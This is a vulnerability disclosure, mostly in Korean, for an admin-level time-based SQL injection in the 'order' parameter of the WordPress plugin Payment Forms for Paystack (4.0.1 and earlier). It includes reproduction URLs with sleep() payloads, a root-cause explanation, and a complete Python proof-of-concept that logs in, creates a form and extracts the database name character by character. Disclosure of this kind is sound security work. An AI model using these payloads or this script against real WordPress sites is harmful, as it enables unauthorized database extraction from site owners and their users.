Component type
WordPress plugin
Component details
Component name Payment Forms for Paystack
Vulnerable version <= 4.0.1
Component slug payment-forms-for-paystack
OWASP 2017: TOP 10
Vulnerability class A3: Injection
Vulnerability type SQL Injection
Pre-requisite
Administrator
Vulnerability details
Short description
Payment Forms for Paystack 플러그인 4.0.1 버전 이하에서 결제 폼의 지불 목록을 조회할 때 URL 파라미터 order 에 대한 입력 값 검증 및 이스케이프 처리가 불충분하여 SQL Injection 취약점이 존재합니다. 이를 통해 관리자 권한을 가진 공격자는 대상 사이트의 데이터베이스에서 모든 정보를 추출할 수 있습니다.
이 취약점은 직접적인 데이터 조회가 불가능하지만, Time based SQL Injection 기법을 통해 데이터를 추출할 수 있습니다.
How to reproduce (PoC)
1.
Payment Forms for Paystack 플러그인이 4.0.1 버전 이하로 설치된 워드프레스 사이트를 준비합니다.
2.
조회를 수행하기 위해 Paystack 양식을 추가해야 하므로 Paystack 양식 추가 메뉴(wp-admin/post-new.php?post_type=paystack_form) 에서 양식을 추가합니다.
3.
양식을 추가하면 ShortCode를 확인할 수 있으며, 해당 ShortCode의 속성 ID를 아래의 URL에서 URL 파라미터 form 에 삽입한 뒤 접속합니다.
http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)
Plain Text
복사
예를 들어, [pff-paystack id="13"] 인 경우, http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1) 로 접속합니다.
4.
그 결과, URL 파라미터 order에 삽입된 SQL Injection 페이로드의 조건절 where 1=1이 항상 참이므로, sleep(5) 함수가 실행되어 응답이 5초 후에 도착하는 것을 확인할 수 있습니다.
5.
반면에, order 에 삽입된 SQL Injection 페이로드의 조건절을 where 1=2 로 변경할 경우 응답이 즉시 도착하는 것을 확인할 수 있습니다.
http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)
Plain Text
복사
예를 들어, [pff-paystack id="13"] 인 경우, http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2) 로 접속합니다.
Additional information (optional)
[취약점 발생 원인]
취약점이 발생하는 URL을 요청할 경우 /wp-content/plugins/payment-forms-for-paystack/includes/classes/class-helpers.php 파일 내 get_payments_by_id 함수가 호출됩니다.
이때, URL 파라미터 order 는 아무런 입력 값 검증 및 이스케이프 처리를 수행하지 않은 채 SQL 질의문에 직접 삽입되어 데이터베이스에 질의를 수행하게 됩니다.
따라서, URL 파라미터 order에 SQL Injection 페이로드 , (select sleep(5) from dual where 1=1)를 삽입하면 아래와 같은 SQL 질의문이 실행됩니다. 이때 페이로드 내 조건절이 참인지 거짓인지에 따라 응답 시간에 차이가 발생하며, 이러한 시간 차이를 이용하여 데이터베이스로부터 데이터를 추출할 수 있습니다.
SELECT * FROM %i WHERE post_id = %d AND paid = %s ORDER BY %i , (select sleep(5) from dual where 1=1)
SQL
복사
[PoC 코드 구현 및 실행]
1.
PoC 코드를 편집기로 열어 WordPress 사이트 주소와 관리자의 계정을 입력합니다.
2.
그 다음 아래의 명령어를 입력하여 PoC 코드를 실행합니다.
필요 모듈 requests
python poc.py
Bash
복사
Attach files (optional)
PoC Code
import re
import time
import string
import requests
# To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def add_paystack_form(session, form_title):
resp = session.get(f"{TARGET}/wp-admin/post-new.php?post_type=paystack_form", proxies=proxies)
pattern = r'<input[^>]*name=[\'"]([^\'"]+)[\'"][^>]*value=[\'"]([^\'"]+)[\'"]'
matches = re.findall(pattern, resp.text)
data = {}
for name, value in matches:
data[name] = value
data["post_title"] = form_title
resp = session.post(f"{TARGET}/wp-admin/post.php", data=data, proxies=proxies)
pattern = r'\[pff-paystack id="(\d+)"\]'
match = re.search(pattern, resp.text)
if match:
paystack_form_id = match.group(1)
print(f" |- Extracted Paystack Form ID: {paystack_form_id}")
return paystack_form_id
else:
raise Exception(f"[-] Failed to find Paystack Form ID.")
def poc_get_db_length(session, paystack_form_id):
length = 1
while True:
payload = f", (select sleep({SLEEP_TIMER}) from dual where (IF(LENGTH(DATABASE()) = {length},1,0)))"
params = {
"post_type": "paystack_form",
"page": "submissions",
"form": paystack_form_id,
"orderby": "",
"order": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- Database name length is greater than {length}.")
length += 1
else:
print(f" |- Database name length: {length}")
break
return length
def poc_get_db_name(session, db_length, paystack_form_id):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f", (select sleep({SLEEP_TIMER}) from dual where (IF(SUBSTR(DATABASE(),{i},1)='{char}',1,0)))"
params = {
"post_type": "paystack_form",
"page": "submissions",
"form": paystack_form_id,
"orderby": "",
"order": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Database name: {db_name.ljust(db_length, '*')}")
break
print(f" |- Successfully extracted the database name: {db_name}")
def poc():
####
# 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
####
# 2. Add Paystack Form
####
print(f"[+] Adding Paystack Form.")
paystack_form_id = add_paystack_form(admin_session, form_title="PoC")
####
# 3. Retrieve database name length
####
print(f"[+] Retrieving database name length.")
db_length = poc_get_db_length(admin_session, paystack_form_id=paystack_form_id)
####
# 4. Retrieve database name
####
print(f"[+] Retrieving database name.")
poc_get_db_name(admin_session, db_length, paystack_form_id=paystack_form_id)
if __name__ == "__main__":
# WordPress Target
TARGET = "http://localhost:8080"
# Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()
Python
복사